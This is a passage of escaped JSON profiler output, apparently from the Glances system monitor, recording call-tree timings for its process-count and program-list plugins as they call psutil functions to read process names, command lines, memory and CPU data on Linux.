\"update\\u0000/home/nicolargo/dev/glances/glances/plugins/processcount/__init__.py\\u000077\",\"time\": 0.063509,\"attributes\": {\"cProcesscountPlugin\": 0.06350872899929527, \"l85\": 0.06350872899929527},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000591\",\"time\": 0.063509,\"attributes\": {\"cGlancesProcesses\": 0.06350872899929527, \"l617\": 0.057508712001435924, \"l644\": 0.0020018389986944385, \"l659\": 0.003998177999164909},\"children\": [{\"identifier\": \"build_process_list\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000476\",\"time\": 0.057509,\"attributes\": {\"cGlancesProcesses\": 0.057508712001435924, \"l478\": 0.04951106699445518, \"l493\": 0.007997645006980747},\"children\": [{\"identifier\": \"process_iter\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001512\",\"time\": 0.009512,\"attributes\": {\"l1541\": 0.0019053459982387722, \"l1558\": 0.007606612998642959},\"children\": [{\"identifier\": \"pids\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001482\",\"time\": 0.001905,\"attributes\": {\"l1485\": 0.0019053459982387722},\"children\": [{\"identifier\": \"pids\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001523\",\"time\": 0.001905,\"attributes\": {\"l1526\": 0.0019053459982387722},\"children\": [{\"identifier\": \"listdir\\u0000<built-in>\\u00000\",\"time\": 0.001905,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001905,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"as_dict\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000545\",\"time\": 0.007607,\"attributes\": {\"cProcess\": 0.007606612998642959, \"l572\": 0.0016092669975478202, \"l579\": 0.0059973460010951385},\"children\": [{\"identifier\": \"__exit__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/contextlib.py\\u0000145\",\"time\": 0.001609,\"attributes\": {\"c_GeneratorContextManager\": 0.0016092669975478202, \"l148\": 0.0016092669975478202},\"children\": [{\"identifier\": \"oneshot\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000478\",\"time\": 0.001609,\"attributes\": {\"cProcess\": 0.0016092669975478202, \"l543\": 0.0016092669975478202},\"children\": [{\"identifier\": \"oneshot_exit\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001732\",\"time\": 0.001609,\"attributes\": {\"cProcess\": 0.0016092669975478202, \"l1735\": 0.0016092669975478202},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001609,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.003997,\"attributes\": {\"cProcess\": 0.003996866005763877, \"l382\": 0.003996866005763877},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001129\",\"time\": 0.003997,\"attributes\": {\"cProcess\": 0.003996866005763877, \"l1138\": 0.003996866005763877},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.003997,\"attributes\": {\"cProcess\": 0.003996866005763877, \"l1593\": 0.003996866005763877},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001865\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.001998690000618808, \"l1879\": 0.001998690000618808},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]},{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020004799953312613, \"l680\": 0.0020004799953312613},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020004799953312613, \"l1593\": 0.0020004799953312613},\"children\": [{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001737\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020004799953312613, \"l1740\": 0.0020004799953312613},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020004799953312613, \"l1593\": 0.0020004799953312613},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020004799953312613, \"l382\": 0.0020004799953312613},\"children\": [{\"identifier\": \"_parse_stat_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001672\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020004799953312613, \"l1683\": 0.0020004799953312613},\"children\": [{\"identifier\": \"bcat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000728\",\"time\": 0.002000,\"attributes\": {\"l730\": 0.0020004799953312613},\"children\": [{\"identifier\": \"cat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000711\",\"time\": 0.002000,\"attributes\": {\"l718\": 0.0020004799953312613},\"children\": [{\"identifier\": \"BufferedReader.__exit__\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []},{\"identifier\": \"process_iter\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001512\",\"time\": 0.038001,\"attributes\": {\"l1558\": 0.03800090399454348},\"children\": [{\"identifier\": \"as_dict\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000545\",\"time\": 0.038001,\"attributes\": {\"cProcess\": 0.03800090399454348, \"l579\": 0.028006425003695767, \"l578\": 0.007994058993062936, \"l558\": 0.0020004199977847748},\"children\": [{\"identifier\": \"cpu_percent\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001025\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020013280009152368, \"l1064\": 0.0020013280009152368},\"children\": [{\"identifier\": \"cpu_count\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001667\",\"time\": 0.002001,\"attributes\": {\"l1682\": 0.0020013280009152368},\"children\": [{\"identifier\": \"cpu_count_logical\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u0000535\",\"time\": 0.002001,\"attributes\": {\"l538\": 0.0020013280009152368},\"children\": [{\"identifier\": \"sysconf\\u0000<built-in>\\u00000\",\"time\": 0.002001,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"getattr\\u0000<built-in>\\u00000\",\"time\": 0.001997,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001997,\"attributes\": {},\"children\": []}]},{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []},{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.004004,\"attributes\": {\"cProcess\": 0.0040036939972196706, \"l687\": 0.0040036939972196706},\"children\": [{\"identifier\": \"cmdline\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000746\",\"time\": 0.004004,\"attributes\": {\"cProcess\": 0.0040036939972196706, \"l748\": 0.0040036939972196706},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.004004,\"attributes\": {\"cProcess\": 0.0040036939972196706, \"l1593\": 0.0040036939972196706},\"children\": [{\"identifier\": \"cmdline\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001748\",\"time\": 0.004004,\"attributes\": {\"cProcess\": 0.0040036939972196706, \"l1750\": 0.001999731997784693, \"l1754\": 0.0020039619994349778},\"children\": [{\"identifier\": \"open_text\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000685\",\"time\": 0.002000,\"attributes\": {\"l692\": 0.001999731997784693},\"children\": [{\"identifier\": \"__init__\\u0000<frozen codecs>\\u0000312\",\"time\": 0.002000,\"attributes\": {\"cIncrementalDecoder\": 0.001999731997784693, \"l315\": 0.001999731997784693},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_raise_if_zombie\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001646\",\"time\": 0.002004,\"attributes\": {\"cProcess\": 0.0020039619994349778, \"l1647\": 0.0020039619994349778},\"children\": [{\"identifier\": \"_is_zombie\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001630\",\"time\": 0.002004,\"attributes\": {\"cProcess\": 0.0020039619994349778, \"l1638\": 0.0020039619994349778},\"children\": [{\"identifier\": \"bcat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000728\",\"time\": 0.002004,\"attributes\": {\"l730\": 0.0020039619994349778},\"children\": [{\"identifier\": \"cat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000711\",\"time\": 0.002004,\"attributes\": {\"l719\": 0.0020039619994349778},\"children\": [{\"identifier\": \"BufferedReader.read\\u0000<built-in>\\u00000\",\"time\": 0.002004,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002004,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]},{\"identifier\": \"cpu_percent\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001025\",\"time\": 0.003996,\"attributes\": {\"cProcess\": 0.0039958300039870664, \"l1079\": 0.001996970000618603, \"l1064\": 0.0019988600033684634},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001997,\"attributes\": {\"cProcess\": 0.001996970000618603, \"l1593\": 0.001996970000618603},\"children\": [{\"identifier\": \"cpu_times\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001827\",\"time\": 0.001997,\"attributes\": {\"cProcess\": 0.001996970000618603, \"l1835\": 0.001996970000618603},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001997,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]},{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020011550004710443, \"l680\": 0.0020011550004710443},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020011550004710443, \"l1593\": 0.0020011550004710443},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020000099975732155, \"l391\": 0.0020000099975732155},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]},{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0019996560004074126, \"l680\": 0.0019996560004074126},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0019996560004074126, \"l1593\": 0.0019996560004074126},\"children\": [{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001737\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0019996560004074126, \"l1740\": 0.0019996560004074126},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0019996560004074126, \"l1593\": 0.0019996560004074126},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0019996560004074126, \"l382\": 0.0019996560004074126},\"children\": [{\"identifier\": \"_parse_stat_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001672\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0019996560004074126, \"l1683\": 0.0019996560004074126},\"children\": [{\"identifier\": \"bcat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000728\",\"time\": 0.002000,\"attributes\": {\"l730\": 0.0019996560004074126},\"children\": [{\"identifier\": \"cat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000711\",\"time\": 0.002000,\"attributes\": {\"l718\": 0.0019996560004074126},\"children\": [{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.002000,\"attributes\": {\"l682\": 0.0019996560004074126},\"children\": [{\"identifier\": \"open\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []},{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.006007,\"attributes\": {\"cProcess\": 0.006007148003845941, \"l687\": 0.0020001599987153895, \"l680\": 0.004006988005130552},\"children\": [{\"identifier\": \"cmdline\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000746\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020001599987153895, \"l748\": 0.0020001599987153895},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020001599987153895, \"l1593\": 0.0020001599987153895},\"children\": [{\"identifier\": \"cmdline\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001748\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020001599987153895, \"l1751\": 0.0020001599987153895},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.004007,\"attributes\": {\"cProcess\": 0.004006988005130552, \"l1593\": 0.004006988005130552},\"children\": [{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001737\",\"time\": 0.004007,\"attributes\": {\"cProcess\": 0.004006988005130552, \"l1740\": 0.004006988005130552},\"children\": [{\"identifier\": \"decode\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000757\",\"time\": 0.001999,\"attributes\": {\"l758\": 0.0019987270061392337},\"children\": [{\"identifier\": \"bytes.decode\\u0000<built-in>\\u00000\",\"time\": 0.001999,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002008,\"attributes\": {\"cProcess\": 0.002008260998991318, \"l1593\": 0.002008260998991318},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002008,\"attributes\": {\"cProcess\": 0.002008260998991318, \"l382\": 0.002008260998991318},\"children\": [{\"identifier\": \"_parse_stat_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001672\",\"time\": 0.002008,\"attributes\": {\"cProcess\": 0.002008260998991318, \"l1683\": 0.002008260998991318},\"children\": [{\"identifier\": \"bcat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000728\",\"time\": 0.002008,\"attributes\": {\"l730\": 0.002008260998991318},\"children\": [{\"identifier\": \"cat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000711\",\"time\": 0.002008,\"attributes\": {\"l719\": 0.002008260998991318},\"children\": [{\"identifier\": \"BufferedReader.read\\u0000<built-in>\\u00000\",\"time\": 0.002008,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002008,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.001992,\"attributes\": {},\"children\": []},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.001999911000893917, \"l382\": 0.001999911000893917},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001129\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.001999911000893917, \"l1138\": 0.001999911000893917},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.001999911000893917, \"l1593\": 0.001999911000893917},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001865\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.001999911000893917, \"l1878\": 0.001999911000893917},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.002004,\"attributes\": {},\"children\": []},{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000937\",\"time\": 0.001997,\"attributes\": {\"cProcess\": 0.001997277999180369, \"l939\": 0.001997277999180369},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001997,\"attributes\": {\"cProcess\": 0.001997277999180369, \"l1593\": 0.001997277999180369},\"children\": [{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00002049\",\"time\": 0.001997,\"attributes\": {\"cProcess\": 0.001997277999180369, \"l2053\": 0.001997277999180369},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001997,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.002000414999201894, \"l680\": 0.002000414999201894},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.002000414999201894, \"l1593\": 0.002000414999201894},\"children\": [{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001737\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.002000414999201894, \"l1740\": 0.002000414999201894},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.002000414999201894, \"l1593\": 0.002000414999201894},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.002000414999201894, \"l382\": 0.002000414999201894},\"children\": [{\"identifier\": \"_parse_stat_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001672\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.002000414999201894, \"l1683\": 0.002000414999201894},\"children\": [{\"identifier\": \"bcat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000728\",\"time\": 0.002000,\"attributes\": {\"l730\": 0.002000414999201894},\"children\": [{\"identifier\": \"cat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000711\",\"time\": 0.002000,\"attributes\": {\"l719\": 0.002000414999201894},\"children\": [{\"identifier\": \"BufferedReader.read\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"is_running\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000625\",\"time\": 0.007998,\"attributes\": {\"cProcess\": 0.007997645006980747, \"l639\": 0.007997645006980747},\"children\": [{\"identifier\": \"__init__\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000313\",\"time\": 0.007998,\"attributes\": {\"cProcess\": 0.007997645006980747, \"l314\": 0.007997645006980747},\"children\": [{\"identifier\": \"_init\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000316\",\"time\": 0.007998,\"attributes\": {\"cProcess\": 0.007997645006980747, \"l347\": 0.007997645006980747},\"children\": [{\"identifier\": \"_get_ident\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000363\",\"time\": 0.007998,\"attributes\": {\"cProcess\": 0.007997645006980747, \"l394\": 0.007997645006980747},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.007998,\"attributes\": {\"cProcess\": 0.007997645006980747, \"l1593\": 0.007997645006980747},\"children\": [{\"identifier\": \"create_time\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001848\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.001999293002882041, \"l1857\": 0.001999293002882041},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.001999293002882041, \"l1593\": 0.001999293002882041},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.001999293002882041, \"l375\": 0.001999293002882041},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []},{\"identifier\": \"create_time\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001848\",\"time\": 0.003998,\"attributes\": {\"cProcess\": 0.003997946005256381, \"l1857\": 0.003997946005256381},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.003998,\"attributes\": {\"cProcess\": 0.003997946005256381, \"l1593\": 0.003997946005256381},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.003998,\"attributes\": {\"cProcess\": 0.003997946005256381, \"l375\": 0.003997946005256381},\"children\": [{\"identifier\": \"_parse_stat_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001672\",\"time\": 0.003998,\"attributes\": {\"cProcess\": 0.003997946005256381, \"l1683\": 0.0019999319993075915, \"l1687\": 0.0019980140059487894},\"children\": [{\"identifier\": \"bcat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000728\",\"time\": 0.002000,\"attributes\": {\"l730\": 0.0019999319993075915},\"children\": [{\"identifier\": \"cat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000711\",\"time\": 0.002000,\"attributes\": {\"l718\": 0.0019999319993075915},\"children\": [{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.002000,\"attributes\": {\"l682\": 0.0019999319993075915},\"children\": [{\"identifier\": \"open\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"bytes.rfind\\u0000<built-in>\\u00000\",\"time\": 0.001998,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"get_pid_time_and_status\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000530\",\"time\": 0.002002,\"attributes\": {\"cGlancesProcesses\": 0.0020018389986944385, \"l538\": 0.0020018389986944385},\"children\": [{\"identifier\": \"str.upper\\u0000<built-in>\\u00000\",\"time\": 0.002002,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"update_list\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000683\",\"time\": 0.003998,\"attributes\": {\"cGlancesProcesses\": 0.003998177999164909, \"l689\": 0.003998177999164909},\"children\": [{\"identifier\": \"list_of_namedtuple_to_list_of_dict\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000587\",\"time\": 0.003998,\"attributes\": {\"l589\": 0.003998177999164909},\"children\": [{\"identifier\": \"namedtuple_to_dict\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000582\",\"time\": 0.003998,\"attributes\": {\"l584\": 0.003998177999164909},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []},{\"identifier\": \"hasattr\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/programlist/__init__.py\\u0000148\",\"time\": 0.002003,\"attributes\": {\"cProgramlistPlugin\": 0.002002971996262204, \"l155\": 0.002002971996262204},\"children\": [{\"identifier\": \"get_list\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000704\",\"time\": 0.002003,\"attributes\": {\"cGlancesProcesses\": 0.002002971996262204, \"l711\": 0.002002971996262204},\"children\": [{\"identifier\": \"processes_to_programs\\u0000/home/nicolargo/dev/glances/glances/programs.py\\u000062\",\"time\": 0.002003,\"attributes\": {\"l71\": 0.002002971996262204},\"children\": [{\"identifier\": \"update_program_dict\\u0000/home/nicolargo/dev/glances/glances/programs.py\\u000040\",\"time\": 0.002003,\"attributes\": {\"l47\": 